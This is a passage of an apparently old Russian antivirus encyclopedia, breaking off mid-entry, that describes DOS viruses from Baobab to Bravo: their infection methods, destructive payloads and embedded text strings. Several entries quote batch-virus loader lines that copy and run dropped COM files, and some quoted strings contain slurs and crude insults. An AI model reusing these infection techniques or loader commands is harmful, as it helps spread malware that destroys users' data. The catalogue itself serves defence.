Baobab.1635, Baobab.2304
Располагают свои TSR-копии по адресу 9F60:0000h без коррекции
MCB-блоков. Содержат строку "Fva iitd".
Baran.3294, 4968
Резидентные полиморфные вирусы. Baran.4968 - стелс-вирус. Baran.4968
заражает командный процессор, указанный в переменной COMSPEC. Если
вирус работает под управлением MS Windows, то вирус также заражает
программу, которая запускается при выходе из Windows. Baran.3294
может вывести текст "Gwadera to baran !". Baran.4968 портит данные,
записываемые на диск. Baran.4968 содержит текст "Unknown destroyer v1".
Barrotes.1303
Неопасный резидентный шифрованный вирус. Сразу стремится заразить файл
COMMAND.COM. 23 сентября изменяет символы, вводимые с клавиатуры.
Содержит тексты "Sta Tecla (MAD1)", "ST".
Barrotes.1310
Опасный резидентный вирус. Первым делом стремится заразить файл
c:\command.com. 5 января уничтожает MBR первого жесткого диска и
выводит на экран текст "Virus BARROTES por OSoft".
Basilisk.1639
Неопасный полиморфный вирус. При старте программ SCAN*.* вирус выводит
сообщение "Packed file is corrupt" и возвращает управление в DOS.
Содержит строку "Basilisk v1.0" и текст:
(c) 1992 YAM/RABID International
The slave thinks he is released from bondage
only to find a stronger set of chains
Bastard.1979
Очень опасный резидентный вирус. Заражает EXE-файлы и файл COMMAND.COM.
В файл COMMAND.COM вирус записывает 200 байт кода, который не является
вирусным кодом. Может уничтожить 100 секторов диска A: или C:, и
вывести сообщение:
BASTARD!! Virus "Unlawful Auto-Format Program"
CopyRight (c) 1993-94 by Doctor Revenge-Italy-
Please wait,formatting your precious Hard Disk...
Удаляет файлы MS*.* и CP*.*. Не заражает файлы, содержащие в своем
имени 2 соседние буквы из строки "SCCLF-TBVSVIIMMSCV". Имеет строку
"This virus was written by Doctor Revenge November 23 - December 29
1993 -Italy-".
BAT.282
Неопасный нерезидентный Batch-вирус. Создает в корневых каталогах
дисков B: и C: файл VIRUS.BAT, содержащий вирусный код. Вставляет в
файл AUTOEXEC.BAT вызов файла VIRUS.BAT.
BAT.Batalia.491
Содержит текст ":[BATalia-5] (c) by Reminder".
BAT.Batalia.2011
Неопасный полиморфный вирус, заражающий *.BAT-файлы в текущем каталоге.
При заражении файлов вирус использует архиватор ARJ, доступный через
переменную среды PATH. Инфицированный BAT-файл состоит из двух частей.
Первая часть состоит из пяти команд DOS, а вторая часть является
заархивированным с помощью ARJ BAT-файла, имеющего случайное имя. Этот
заархивированный BAT-файл также содержит команды DOS и еще один ARJ -
архив. Команды DOS являются основным телом вируса, они производят поиск
файла-жертвы, заражение файлов и создание полиморфного кода.Первые пять
команд вируса вибираются случайным образом и имеют различную длину.
Вторая часть - ARJ-архив зашифрован со случайным паролем и не может
быть детектирован по определенной маске. При запуске инфицированного
BAT-файла, первые пять команд запускают архиватор ARJ для распаковки
второго BAT-файла и передают ему управление. Этот BAT-файл создает
временный подкаталог S_G_W_W, разархивирует в этот подкаталог файлы из
второго архива, выполняет поиск и заражение BAT-файлов, выполняет
BAT-файл-носитель, удаляет временный подкаталог и файлы и заканчивает
свою работу. Вирус содержит тексты-комментарии:
: Death Virii Crew & Stealth Group World Wide
: P R E S E N T S
: First Mutation Engine for BAT !
: Without ASM !
: [BATalia6] & FMEB (c) by Reminder
: // -- -
: --------- /// ------¬ --- Magazine - for VirMakers
: ¦г¬гТ¬г= // // ТгТ¬¬г¦ --- ---------------- - ------------------- - ----¦---
: ¦L¬ ¦ ¦ ///// ¦ ¦ ¦¦¦ ¦- --- --- --- --- --- --- --- ¦ - --- - --- ---
: ¦L- ¦ L ///// L-¦ -L¦ - - - -- -- - - -- - - - - - - - - -
: L------ // // -------- - ¦ ¦ ¦ ¦-- ¦-- ¦ ¦-- ¦-- -- --- ¦ ¦-- ¦---
: GROUP // // WORLDWIDE ¦ ----------------- -------------------------------
:
: Box 10, Kiev 252148
: Box 15, Moscow 125080
: Box 11, Lutsk 263020
:
: R E A D I N F E C T E D V O I C E
:
: (c) by Reminder (May 22, 1996)
BAT.Batman
Неопасный резидентный вирус, заражающий BAT-файлы. Инфицированный BAT-
файл создает файл B.COM, в который записывает свой код, и отдает ему
управление. Файл B.COM, исполняющий содержимое BAT-файла, как машинные
инструкции устанавливает в память свою резидентную копию, не проверяя
ее наличия в памяти, и "перехватывает" INT 21h. После этого файл B.COM
удаляется. При записи в файл (f.40h Int 21h) вирус проверяет не
находится ли первой в буфере записи строка @echo. Если находится, то
вирус считает, что производится запись BAT-файла и записывает в него
свой код. Внешне вирус BAT.Batman выглядит следующим образом:
@ECHO OFF
REM [............]
copy %0 b.com"nul
b.com
del b.com
rem [............]
В квадратных скобках [......] схематично показано расположение байт,
которые являются ассемблерными инструкциями или данными вируса.
BAT.BatVir
Неопасный нерезидентный вирус, заражающий BAT-файлы. Инфицированный
BAT-файл создает файл BATVIR.94, в который записывает собственный дамп.
Далее с помощью программы DEBUG данный дамп преобразуется в COM-файл.
Данному COM-файлу программой DEBUG отдается управление. Этот COM-файл
производит поиск и заражение *.BAT-файлов в текущем каталоге, после
чего производится выход из DEBUG и удаление файла BATVIR.94. Вирус
содержит текст "rem [BATVIR] '94 (c) Stormbringer [P/S]".
BAT.Highjaq
Очень опасный нерезидентный вирус-червь. Записывает свой код в
WINSTART.BAT, ARJ-архивы и создаваемый вирусом системный драйвер. При
старте инфицированного WINSTART.BAT-файла вирус создает файл C:\Q.COM,
записывает в него свой код и запускает его следующей строкой BAT-файла:
dir \*.arj/s/b|c:\q.com/i. Команда DIR производит поиск всех
*.ARJ-файлов и передает их имена вирусному файлу C:\Q.COM.Данные архивы
заражаются путем приписывания к ним еще одного поля в формате
ARJ-архива, содержащего неупакованный (store) инфицированный файл
/WINSTART.BAT (данный файл, расположенный в корневом директории диска,
где находится система MS-Windows будет автоматически запускаться при
старте MS-Windows).После чего вирус (C:\Q.COM) проверяет установлена ли
его резидентная копия в памяти.Если нет, то вирус (С:\Q.COM) возвращает
соответствующий код возврата (errorlevel) и заканчивает свою работу.
По данному коду возврата (если память не инфицирована) вирус в BAT-
файле переименовывает файл C:\Q.COM в C:\ABCDEFGH.IJK (вирус генерирует
случайное имя) и дописывает в конец файла C:\CONFIG.SYS строку
"INSTALLHIGH=C:\ABCDEFGH.IJK". Данный вирусный системный драйвер будет
устанавливать резидентную копию вируса в память при загрузке DOS.
Резидентная копия "перехватывает" INT 8, 21h и не занимается заражением
файлов, а предназначена для идентификации наличия вируса в системе, а
также вирусный обработчик INT 21h блокирует функцию GetFileAttribute
для файлов, имена которых начинаются на "/W". Вирусный обработчик INT 8
через некоторое время перезагружает систему, если компьютер работает не
под управлением MS-Windows. Вирус контролирует COM-порты и иногда
посылает в порт модема строки (? - номер порта):
HIGHJAQ on COM?:38400,N,8,1
Система перезагружается если вирус определит, что бит Carrier Detect в
течение 3-ех минут трижды устанавливался в единицу в соответствующем
COM-порте. После перезагрузки системы вирус "перехватывает" INT 8,
блокирует клавиатуру и запускает файл C:\COMMAND.COM с командной
строкой "C:\ COM? /E:1024/P/F". Т.е., вирус определяет 3 звонка в
течение 3-ех минут (1 звонок в минуту) от некоторого хакера и считает
это "сигналом к взлому системы". После этого система перегружается,
запускается COMMAND.COM и в порт модема посылается команда ATL0M0A.
Хакер, позвонивший модемом в это время на данный компьютер, увидит
после соединения системное приглашение "C:"" и сможет сделать с этим
компьютером все, что хочет.
BAT.Naive
Неопасный резидентный вирус, заражающий BAT-файлы. Инфицированный BAT-
файл проверяет наличие переменной среды RANGE_CHECK, если она равна
"yes", то вирус отдает управление содержимому оригинального BAT-файла.
Если данная переменная не установлена в "yes", то следующими строками
вирус создает файл naive.com, в который записывает код проверки наличия
в памяти своей TSR-копии, после чего запускает данный файл -
"@naive.com". При отсутствии TSR-копии NAIVE.COM устанавливает
соответствующий код возврата, который анализируется BAT-вирусом. Далее
файл NAIVE.COM создается заново и в него записывается код, получающий
информацию из стандартного входа (CON), который в свою очередь
поступает из созданного файла NAIVE.DAT, в который вирус записал
закодированный текст своего кода (один байт преобразован в два
символа). Файл NAIVE.COM преобразует символы ASCII по некоторому
алгоритму перекодирования (два символа - в один байт) в программный код
и записывает этот код в файл NAIVE.EXE:
@echo"naive.com ¦Ё¦Б№ЁLrX+?........
@echo"naive.dat DDMJDDNCLEP........
@echo""naive.dat IMAGPAACIJ........
@naive.com"naive.dat "naive.exe
Затем файлы NAIVE.COM и NAIVE.DAT удаляются:
@del"nul naive.com
@del"nul naive.dat
Запускается файл NAIVE.EXE, устанавливающий в память свою TSR-копию.
@naive.exe"nul
Файл NAIVE.EXE удаляется и устанавливается переменная среды
RANGE_CHECK=yes, и управление отдается оригинальному BAT-файлу.
@del"nul naive.exe
@set range_check=yes
Далее при смене каталога (f.3Bh INT 21h) резидентная часть вируса
производит поиск *.BAT-файлов, проверяет их на зараженность, и если они
еще не заражены, создает файл NAIVE.TMP, производит кодирование своего
программного кода в последовательность символов ASCII и записывает 4894
байт в файл NAIVE.TMP. После этого вирус дописывает в файл NAIVE.TMP
содержимое оригинального BAT-файла и переименовывает NAIVE.TMP в имя
BAT-файла. При каждом 7 заражении BAT-файла вирус выводит сообщение,
которое попадает в NUL:
-------¬ Девушки! Поздравляю вас с
¦ \ / ¦ наличием половых органов !!!
¦ O O ¦ ----------------------------
¦ .. ¦ Я хочу познакомиться с сим-
¦ -- ¦ патичной программисткой, ко-
L-T--T-- торая воспримет меня таким,
----- L----¬ какой я есть...
¦¦ ¦¦ --------------------------
¦¦ . . ¦¦ P.S. Исключительно для из-
¦+-T T-+¦ вращённых половых сношений!
¦¦ ¦ ¦ ¦¦ --------------------------
L- ¦ + ¦ L- N * Системщики !!!! * N
¦ --- ¦ A * Как вам идея па- * A
¦+O-O+¦ I * кетного репликанта?* I
¦¦ U ¦¦ V * А есть ещё много * V
+- L+ E * прикольных идей!!! * E
¦ ¦ Я - невинное дитя !!!
--- L--
BAT.Pot, BAT.Xop367, 850, BAT.Zep, BAT.Zop (1,2).
Неопасные нерезидентные вирусы. Заражают *.BAT-файлы в текущих и
родительских директориях. BAT.Zop содержит текст "::[8m --- [ZoP_B]
Batch Infector ---". BAT.Pot выводит тексты "You're Stoned!", "Let me
outta here!".
BAT.Skul
Опасный нерезидентный вирус. Заражает *.BAT-файлы. 20 числа уничтожает
8224 секторов диска C: и выводит текст "SKuL Killing Hardfile...".
BAT.Winstart.296, 297
Неопасные резидентные вирусы, создающие файлы WINSTART.BAT. При старте
такого файла вирусы копируют содержимое стартовавшего BAT-файла,
содержащего вирусный код в файл C:\Q.COM и запускают его:
@ECHO OFF
:s%r#
COPY %0.BAT C:\Q.COM"NUL
C:\Q
Далее управление в файле C:\Q.COM попадает на эти же команды, которые
уже выполнялись в инфицированном BAT-файле, но только в данном случае
команды в COM-файле уже представлены, как ассемблерные инструкции,
которые отдают управление командам, следующими за строкой C:\Q. Вирусы
устанавливают свою копию резидентно в память (в область HMA) и
"перехватывают" INT 2Fh, после этого переименовывают файл C:\Q.COM в
C:\WINSTART.BAT. Резидентные копии вирусов контролирует запуски
командного процессора и создают файл WINSTART.BAT в текущем директории.
Batman.237
Неопасный резидентный вирус. Содержит текст "BATMAN 2.01".
Batman.2844
Неопасный резидентный вирус. "Перехватывает" INT 13h, 28h, производит
поиск *.EXE-файлов и заражает их. Содержит текст "Bat Man II".
Bauman.2203
Очень опасный нерезидентный вирус. В пятницу во второй половине дня
уничтожает информацию на первом жестком диске. Оставляет в памяти
резидентную копию, которая "гуляет" по разным адресам памяти и удаляет
программы с именами DRWEB и AVP при их запуске. Содержит текст
"(C) T&T Bauman".
Bazil.1956
Неопасный нерезидентный вирус. Может вывести сообщение:
*****************************************************************
* THIS FILE IS INFECTED AS WELL AS ALL COM FILES ON THIS DISC! *
* Пока вы там ушами хлопали я уже по всему диску расплодился! *
* Куда-же смотрит тов. Лозинский?! *
* [BaZiL] *
*****************************************************************
Также содержит текст:
Привет всем Питерским хакерам, тов. Данилову и Лозинскому!
ФМЛ 239 - самая лучшая школа в мире!!!
Вирус конечно не слишком хитрый, но для первого раза сойдет.
[BaZiL]
Beast.Zver
Очень опасный резидентный вирус. Использует алгоритм заражения,
заимствованный из вирусов семейства Beast - в начало файла записывается
вирусный код, а оригинальное начало хранится в последнем неиспользуемом
кластере файла на диске. Длина файла не меняется при этом не
изменяется. Но длина файла по цепочке FAT может не совпадать с реальной
длиной. Вирус содержит текст "~ZVER~".
Beda.337, 338, 352, 883, 1301, 1530
Свое название получили за функцию проверки своего наличия в памяти -
f.BEDAh INT 21h. Beda.883, 1301 устраивают видеоэффект - три цветные
линии, плавающие по экрану. Beda.352 имеет строку "ACHE". Beda.1301,
1530 при открытии (f.3Dh INT 21h) инфицированного файла создают новый
файл \$a._$, в который записывают содержимое оригинального файла и
возвращают открывающей программе описатель (handle) данного созданного
файла. При закрытии файла (f.3Eh INT 21h) вирусы удаляют файл \$a._$.
Beda.1530 удаляет файлы, начинающиеся на -V, WEB, AIDS, A-DIN. Также,
Beda.1530 иногда изменяет в буфере клавиатуры нажатие клавиш F5, N, n
соответственно на F8, Y, y.
Beer.645
Неопасный резидентный вирус. Иногда выводит текст "Cейчас бы пивка".
Beer.2473, 2620, 2794, 2850, 2984, 3164(1,2), 3192(1-3), 3307, 3399, 3490(1,2)
Опасные резидентные шифрованные вирусы. Beer.2473, 3164, 3192, 3307,
3399 уничтожают файлы DISKDATA.DTL, VIRUSES.INF, DIRINFO, -V.MSG или
A-DINF--.---. Иногда проигрывают мелодию и выводят сообщения:
Beer.2473 - Вирус,Вирус ха-ха-ха. ПРЯМО СВЕРXУ xa-xa-xa-xa !!!
Beer.2620, 2794, 2850, 2984, 3164, 3192, 3490 - Cейчас бы пивка
Beer.3307 - ----------------------------------------¬
¦ (c) Испытательный центр ¦
¦ самоходного программного обеспечения ¦
¦ имени Ячменного колоса ¦
L----------------------------------------
Beer.3399 - Lozinsky! I know you to be old beer drinker.
How about a mug of beer or two?
It would be amazing to meet you at our beer party.
You are welcome at Solntsevo railway station
About 17.00 p.m. every friday and wednesday.
Beer.3490 (1,2) содержат тексты "EGA - text mode demonstration
Copyright (c) by Wadim 1990.", "I love you ,Ann !ANNA", "Wadim S.".
Beer.Kalinka.2920, 3225, 3434, 3612
Опасные резидентные вирусы. Beer.Kalinka.2920 записывает в файлы
DISKDATA.DTL, VIRUSES.INF, A-DINF--.---,DIRINFO,-V.MSG строку "Калинка-
малинка-малинка-малинка моя !". Beer.Kalinka.3225 записывает в файлы
DISKDATA.DTL, VIRUSES.INF, A-DINF--.---, DIRINFO,REPORT.WEB,REPORT.TXT,
ADINF-C.LOG, ADINF-D.LOG, ADINF-E.LOG, CHKLIST.MS, AVPTSR.EXE, -D.COM,
-D3.COM,VSAVE.EXE,ANTI4US.EXE текст:
----------------------------------------¬
¦ Жили у бабуси ТPИ веселых гуся: ¦
¦ лОЗ,дАНИЛОВ и кАСПЕPСКИЙ - ¦
¦ Я ОТ НИХ ТАЩУСЯ !!! ¦
L----------------------------------------
Beer.Kalinka.3612 записывает в файлы DISKDATA.DTL, VIRUSES.INF,
A-DINF--.---,DIRINFO,REPORT.WEB,CHKLIST.MS,AVPTSR.EXE текст:
Сергей Мавроди - П И Д О Р !!! Вам псина улыбнулась !!!
"-------
Прочтите справа налево - выйдет палиндром (сырой)
Beer.Kalinka.3434 записывает в файлы DISKDATA.DTL, VIRUSES.INF,
A-DINF--.---, DIRINFO, REPORT.WEB, REPORT.TXT, ADINF-C.LOG,ADINF-D.LOG,
ADINF-E.LOG, ADINF-F.LOG, ADINF-G.LOG, CHKLIST.MS, AVPTSR.EXE, -D.COM,
-D3.COM,VSAVE.EXE,ANTI4US.EXE,F_PROT.LOG текст:
******************************************
* Русская народная песня Калинка-Малинка *
* Исполняется впервые *
******************************************
***********************************
* В семье все взвесив заново *
* Решили окончательно: *
* Компартию Зюганова *
* Поддержим Обязательно !!! *
***********************************
Вирусы не заражают файлы COMMAND.COM и AIDSTEST.EXE. Иногда выводят на
экран указанные выше тексты. Beer.Kalinka.2920, 3225, 3434 исполняют
мелодию "Жили у бабуси два веселых гуся...", а Beer.Kalinka.3612
"издевается" над "Рио-Риотой".
Before.1196, 2915
Опасные резидентные вирусы. Отличаются друг от друга только тем, что
Before.2915 упакован утилитой AINEXE. Могут блокировать вызовы INT 21h.
Содержат текст "BEFORE.CE.1136 (C) PC Soft Club".
BerlinHQ.434
Неопасный вирус. Иногда выводит текст:
Type "XeroX rulez!" or die !
Call our Berlin HQ ++49-30-7069929 !
Beside.200
Очень опасный замещающий резидентный вирус. Иногда выводит сообщение
"It is unknown what this virus does besides replicate.".
BG.1348
Опасный резидентный зашифрованный вирус. Иногда выводит текст:
Seems so simple now
Now that the sky is clear
Maybe the road was tough
But at last we're here
I've nothing to hide from you
Nothing to explain
Just this vision of broken wing
And the raven cries in pain...
Enter the name of song:
При неправильном ответе вирус "зацикливает" систему.Также может вывести
на экран:
-------------------- -------------------
--- ---
--- ---
---- ---
----- ---
--- --- ---
--- --- ---
--- --- ---
--- --- ---
--- ---- ---
--- --- ---
--- -- ---
--- --- ---
--- --- ---
--- --- ---
------------------- -- --- --
BG.2135
Неопасный резидентный шифрованный вирус. При одновременном нажатии на
клавиши F12, NumLock, CapsLock и ScrollLock, вирус выводит текст:
И, может быть, тогда откроется дверь,
И звезды замедлят свой ход.
И мы встанем на пристани вместе,
Взявшись за руки, глядя на парусный флот.
Содержит текст "=" БГ Virus° Ver. 2.0 "=".
BG.3084
Опасный резидентный полиморфный вирус. Выводит на экран текст
Рок-н-ролл мертв, а я еще нет...
При открытии файлов с расширениями TXT,PAS,CPP,DIZ,NFO вирус записывает
в них тексты:
Я буду учиться не оставлять следов,
Учиться мерить то, что рядом со мной:
Землю - наощупь, хлеб и вино - на вкус,
Губы губами, небо - своей звездой;
Я больше не верю в то, что есть что-то еще;
А глаза с той стороны прицела ясны.
Все назад! Я делаю первый шаг,
Я начинаю движение в сторону весны...
То ли вынули чеку,
То ль порвалась связь времен.
Подружились господа,
Да с Господней сранью.
На святой горе Монмартр
Есть магический Семен,
Он меняет нам тузы
На шестерки с дрянью.
Раньше сверху ехал Бог,
Снизу прыгал мелкий бес,
А теперь мы все равны,
Все мы анонимы.
Через дырку в небесах
Въехал белый Мерседес,
Всем раздал по три рубля
И проехал мимо...
=" БГ Virus° Ver. 3.0 "=
BGU.1295, 1298
Неопасные резидентные вирусы. Через 25 минут после установки в память
вирусы выводят бело-красный белорусский флаг - если монитор находится в
текстовом режиме, иначе издают какие-то звуки. Содержат текст
"BGU 1992".
BigMouse.900 (1,2)
Неопасные резидентные шифрованные вирусы. 17 ноября выводят текст:
G+A=
Press any key to go on
BigMouse.998
Очень опасный шифрованный резидентный вирус. В апреле уничтожает
содержимое логического диска D:. Содержит строки "SCANCLEAVIRSF-PRCPAV"
и "-=GC73=-".
Billboard.835
Может вывести на экран текст:
Billboard 1.0, (c)1993 Slююzю [Nuke].
Jeff K. - You are a lying prick, just like all politicians
Patty - This was written from the ground up, in Australia
Alan - You are wasting your time chasing Rock Steady
Frisk - Pull your head out of your ass, [NuKE] is way ahead of you AV wankers
Johnny - Scan is just too lame to worry about ha ha
Bingger.489
Содержит текст:
THE SMALLEST RUSSIAN VIRUS IS BINGGER THAN ENY OF THE
AVENGERS
Birthday.512
Опасный нерезидентный вирус. 31 числа в 11 часов удаляет стартовавшую
инфицированную программу. Содержит текст "Happy Birthday!!".
Bishkek.319
Опасный нерезидентный вирус. 31 числа уничтожает содержимое 10 первых
секторов жесткого диска. 22 числа выводит текст "Scorpions by Sch(5) in
Bishkek".
Bishkek.559
Содержит текст "Bishkek software *.* My rights reserved 23.08.1994.".
Bishop.2855, 4517
Очень опасные замещающие программный код полиморфные вирусы. Выводят
на экран и содержат в себе следующие тексты:
Bishop.2855 -
STOP HERE!
CULO
We are waiting for..
A mutant BISHOP in this program
21-3-93, milan-PARMA : 0-1.
-BISHOP-
Bishop.4517 -
WHY DEBUGGER?
PARMA CAMPIONE !!!!!!!!
ANOTHER YEAR
A mutant ROOK in this program
- UAH UAH UAH! Non puoi fregare ROOK come fregasti BISHOP! -
- ROOK -
The ROOK virus !!!
Understand?
DECEMBER VERSION
A variant of the DECEMBER VERSION
г===¬---T---T---T---T---T---г===¬
¦ R ¦ n ¦ b ¦ q ¦ k ¦ b ¦ n ¦ R ¦
L===----+---+---+---+---+---L===-
¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦
+---+---+---+---+---+---+---+---+
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
+---+---+---+---+---+---+---+---+
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
+---+---+---+---+---+---+---+---+
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
+---+---+---+---+---+---+---+---+
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
+---+---+---+---+---+---+---+---+
¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦ p ¦
г===¬---+---+---+---+---+---г===¬
¦ R ¦ n ¦ b ¦ q ¦ k ¦ b ¦ n ¦ R ¦
L===----+---+---+---+---+---L===-
BitAddict.979, 1190, 1459, 1601
BitAddict.979, 1190 - неопасные, BitAddict.1459, 1601 - очень опасные
резидентные вирусы. Размещают свою резидентную копию в нескольких
системных буферах. При первом запуске стремятся заразить командный
процессор, указанный через переменную COMSPEC. BitAddict.1459, 1601
уничтожают содержимое секторов диска D: после 256 "переходов" вирусов с
одного компьютера на другой. Содержат тексты:
BitAddict.979 - COMSPEC=BIT ADDICT 2.00
BitAddict.1190 - COMSPEC=BIT ADDICT 2.10
BitAddict.1459 - COMSPEC=
BitAddict.1601 - COMSPEC=Bit Addict Version 3
Bitch
Неопасный Boot-вирус. Пытается заместить собой вирусы Stoned и
Michelangelo, если обнаружит их на дисках. При ошибке записи своего
кода на диск выводит на экран текст: "¦.Z. ¤F" SVINOLOBOVA SYKA "S0_MBR
(C) 04.1994 by @SOURCE (ЛИАП). По всем вопросам обращаться по тел.
264-35-27 ( после 22ч. Люда ).".
Bitch.252
Неопасный резидентный вирус. Содержит текст "" SVINOLOBOVA SYKA "".
Bite
Загрузочный вирус. Иногда при загрузке системы выводит текст
"I'm made in B I T E Soft. !".
BlackJec.231,232,235,236,247,252,267,272,276,281,287,292,301,307,358,363,369,
374,378,427,440,441
Неопасные (BlackJec.301, 307 - опасные) нерезидентные вирусы.
BlackJec.301, 307 в сентябре пытаются отформатировать первую дорожку
текущего флоппи-диска и выводят текст "Sad virus - 24/8/91". Некоторые
вирусы содержат тексты:
BlackJec.427 - Digital F/X Virus 2.0 - 3/18/92 by Phoney Phreak
BlackJec.440 - Digital F/X Virus - Created on 2/5/92 by Phoney Phreak
BlackJec.441 - XYZ Virus 1.0 - Buddy and Chloe 5/27/89
BlackMonday.1055
Очень опасный резидентный вирус. В понедельник форматирует нулевую
дорожку жесткого диска. Содержит текст "Black Monday 2/3/90 KV KL MAL".
BlackSun.2372
Неопасный резидентный зашифрованный вирус. Иногда "трясет" экран
посредством изменения строчных букв на заглавные и наоборот на экране.
Содержит тексты "CHKLISTDISKINFOSCOPЕЕ", "BlackSun v1.0 "Shaker"".
BlackWorm
Очень опасный загрузочный вирус. Начиная с 1995 года уничтожает
содержимое первого жесткого диска. Содержит текст "BLACK WORM".
Blah.3379, 3385
Неопасные файлово-загрузочные стелс-вирусы. Заражают MBR жесткого диска
и BAT-файлы. При старте инфицированного BAT-файла, вирусы создают файл
¦.com, в который записывают некоторый текст. После чего вирусы отдают
управление данному ¦.com файлу. Первые байты текста файла ¦.com
воспринимаются процессором, как ассемблерный код, производящий по
определенному закону,конвертацию текстовых строк в вирусные инструкции.
Далее ¦.com файл устанавливает свою резидентную копию в память,
"перехватывает" INT 13h, 21h и заражает MBR "винчестера". После чего
файл ¦.com удаляется. Резидентные копии вирусов заражают BAT-файлы и
осуществляют стелс-механизм сокрытия вирусного кода в инфицированных
BAT-файлов и MBR. Вирусы содержат текст "Blah virus (DA/PS)"
Blava.787
Неопасный резидентный вирус. Содержит текст "BLAVA 3.0 by RGB".
Blind.549
Опасный нерезидентный вирус. Из-за ошибок может разрушить инфицируемые
файлы. Содержит текст "=Blind Guardian 1995=".
Blink.501
После каждого 4 заражения файла вирус "мигает" экраном.
Bloody
Иногда выводит на экран "Bloody! Jun. 4, 1989".
Bobby.613
Неопасный нерезидентный вирус. По пятницам выводит текст:
Привет, я - безобидный вирус Bobby Friday.
Я не причиню вреда вашему компьютеру
Я только буду говорить по пятницам, что
моему автору очень нравится девушка по имени СВЕТА.
Bomzh.3809
Опасный резидентный шифрованный вирус. "Перехватывает" INT 17h (вывод
на принтер) и INT 21h. При печати на принтер вставляет после запятой
междометие ", бля". Содержит тексты:
Приветствую всех хакеров, читающих этот текст.
Этот вирус - типичный "студенческий".
Приношу всем пострадавшим от его некорректных
действий свои искренние извинения.
Он был написан в период летней практики только от скуки.
Благодарю за помощь, которую мне оказали:
Игоря Данилова(за его VIRLIST),
Евгения Касперского(за "Компьютерные вирусы в MS-DOS".
Евгений, не пишите больше таких книг - "чайникам" они бесполезны,
профи - насрать, а вот вирусописатели...),
Карпова Вадима - за литературу,
Иванова Олега - за комп.
Все замечания в свой адрес приму
через FIDONET 2:5033/1.32 с пометкой "Бомжу".
Желаю всем жить счастливо!
Пока!
Ваш Бомж.
Бомж-вирус.
Bones
Очень опасный загрузочный стелс-вирус. 7 числа уничтожает содержимое
дискеты, к которой происходит обращение, и первого жесткого диска.
BootCom.Light
Неопасный файлово-загрузочный вирус. При первом старте зараженного COM-
файла, вирус инфицирует MBR жесткого диска. При загрузке системы с
такого диска вирус "перехватывает" INT 1Ch, ждет второго изменения INT
21h, после чего "перехватывает" INT 21h. Содержит текст "(c) Light
General.For free use!Kiev.1995".
BootCom.Max
Неопасный файлово-загрузочный вирус. Заражает MBR "винчестера" и COM-
файлы при их запуске. Перехватывает INT 13h, 21h. Содержит строку
"[Max]".
BootCom.Peanut.445
Опасный вирус. Заражает MBR жесткого диска и Boot-сектора гибких
дисков, а также COM-файлы при их запуске. При старте инфицированного
COM-файла или при загрузке с зараженного флоппи-диска вирус поражает
MBR "винчестера". При загрузке с инфицированного жесткого диска вирус
размещает свою TSR-копию в верхних адресах памяти и перехватывает INT
13h. После загрузки первой EXE-программы вирус перехватывает INT 21h.
При заражении дискет вирус не сохраняет оригинальный Boot-сектор. При
чтении через INT 21h зараженного MBR вирус подставляет оригинальный MBR
(стелс-вирус).
BootExe.174
Очень опасный файлово-загрузочный вирус. Внедряет свой код в середину
загрузчика MBR, устанавливая на этот код свою программную ссылку. При
загрузке системы с инфицированного диска устанавливает свою резидентную
копию в таблицу векторов прерываний, "перехватывает" INT 13h, проверяет
запись на флоппи-диски COM или EXE-файлов (определяя их по первым
байтам заголовка файла: 0E9h - для COM и 'MZ' - для EXE-файлов) и
записывает свой код в начало данных файлов, не сохраняя оригинальный
программный код.
BootExe.443, 444, 451 (1,2), 452
Опасные вирусы. Заражают Boot-сектора "винчестера" и гибких дисков, а
также EXE-файлы, внедряя свой код в заголовок EXE-файлов, превращая
файл из формата EXE в формат COM-файла. Вирусы перехватывает INT 13h и
"следят" за чтением секторов. Если прочитанный сектор содержит
сигнатуру "MZ", то вирусы считают, что был считан заголовок EXE-файла.
И если данный заголовок равен 512 байтам, и EXE-файл имеет достаточно
свободного места в таблице перемещаемых элементов (relocation table),
то вирусы записывают в свободное место заголовка EXE-файла свое тело и
изменяют сигнатуру "MZ" на короткий JUMP (EBh ??) на свой код. После
чего производят запись данного сектора, содержащий вирус, на диск.
Вирусы также заражают Boot-сектор жесткого диска, считая, что он
располагается на головке-1, дорожке-0, секторе-1. При заражении дискет,
отличных от 360 Kb, вирусы не сохраняют оригинальный Boot-сектор.
BootExe.Dogcher
Опасный резидентный вирус, заражающий MBR первого жесткого диска и
EXE-файлы. При заражении EXE-файлов вирус записывает оригинальный
сектор, содержащий заголовок EXE-файла (512 байт) в сектор,
предшествующий исходному, не проверяя его содержимое.
BootExe.Nutcracker
Опасный файлово-загрузочный вирус. Шифрует первый сектор подкаталогов
(см.Nutcracker.AB2.6425).
BootExe.Olga
Опасный вирус. Заражает MBR жесткого диска и EXE-файлы. 27 декабря
уничтожает содержимое жесткого диска. Содержит текст "SGB:Olga++".
BootExe.Platov
Устанавливает свою резидентную копию по адресу 9000:FC00h. Принадлежит
"перу" Андрея Платова.
BootExe.Stalker.310, 320
Опасные резидентные вирусы, заражающие MBR "винчестера" и EXE-файлы.
При запуске инфицированного EXE-файла, вирусы заражают MBR, не сохраняя
оригинальный загрузочный сектор MBR, и "вешают" систему. При загрузке
системы с инфицированного MBR, вирусы устанавливают в память свои
резидентные копии и "перехватывают" INT 13h. BootExe.Stalker.320
содержит строку "*Stalker*" с инвертированными битами.
Boroda
Неопасный Boot-вирус. 30 октября выводит текст:
----- I am virus BORODA ----¬
¦Happy birthday to you, ¦
¦Happy birthday to you, ¦
¦Happy birthday Dear BORODA!¦
¦Happy birthday to you. ¦
+---------------------------+
¦(c) BIT Pricol October 1994¦
¦For proposition: 29X-2X-9X¦
L----------------------------
ATTENTION: Your system area is Script. DON
PANIC!
Now a little play. What is my little name?
For example: BORODENCHIK...(Ring-error)
После чего ждет ввода слова "BORODUSHECHKA".
Bowl.737
Неопасный нерезидентный шифрованный вирус. Неработоспособен на Pentium
PC. Содержит текст:
How DARE YOU try and trace through my code!!!!
FuQn LaMaH!!!
Toilet Bowl Virus by The Methyl-Lated Spirit
This is generation 4 of this virus version 1.1 "2nd release"
Prepare to control your computer as it enters the Toilet Bowl
Brasil
Очень опасный загрузочный вирус. Может вывести текст "Brasil virus!" и
уничтожить содержимое секторов жесткого диска.
Bravo
Опасный загрузочный вирус. Может уничтожить содержимое MBR, записав
